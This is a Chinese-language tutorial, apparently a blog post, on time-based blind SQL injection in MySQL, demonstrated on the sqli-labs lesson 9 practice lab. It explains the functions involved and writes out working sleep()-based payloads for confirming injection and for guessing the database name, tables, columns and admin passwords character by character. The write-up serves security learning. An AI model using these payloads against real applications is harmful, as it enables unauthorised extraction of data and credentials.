sqli-时间盲注

使用场景/条件

  1. 没有显位/回显,无法使用联合/报错,无法直接看到SQL语句执行的结果

  2. 无法根据前端页面判断后端SQL语句执行的真假,无法使用布尔盲注

  3. 能通过页面响应时间判断后端SQL语句执行的真假

时间盲注用到的函数

条件函数:

  1. if(a,b,c)
    条件a为真则执行b,否则执行c

时间函数:

  1. sleep(a)
    mysql>=5.0
    睡眠a秒,然后返回0。若 SLEEP() 被中断,返回1。
  2. benchmark(a)
    mysql<5.0
    benchmark是通过查询次数增多,时间变得缓慢来判断是否存在延迟
    select benchmark(1000,select * from admin)

字符串函数:

  1. length(str)
    返回字符串的长度。
  2. substr(a,b,c)
    从b位置开始,截取字符串a的c长度
    ascii(substr((select user()),1,1))=98
    注意:mysql中的位置是从1开始的。
  3. ascii()
    返回字符的ascii码

演示

sqli-lab-9

分析


可以看到

  1. sql语句的结果不会返回到前端 = 没有显位 / 没有报错信息 = 不能联合查询 / 不能报错注入
  2. sql语句执行真假返回前端的页面都是一样的 = 无法根据页面判断sql语句执行真假 = 不能布尔盲注

这时就可以考虑时间盲注,通过页面响应时间判断后端SQL语句执行的真假。

演示

  1. 判断注入存在
    id=1 and sleep(5)--+
  2. 暴库爆表爆列
    和布尔盲注一样,要逐个字符根据响应时间猜解
    判断当前⽤户
    and if(ascii(substr(user(),1,1))=114,sleep(5),1)--+
    判断数据库名长度
    if(length(database())=8,sleep(5),1)--+
    猜解数据库名称
    and if(ascii(substr(database(),1,1))>100,sleep(5),1)--+
    猜解表名
    and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1)--+
    猜解列名
    and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+
    数据
    and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)
原文地址:https://www.cnblogs.com/Rain99-/p/13289398.html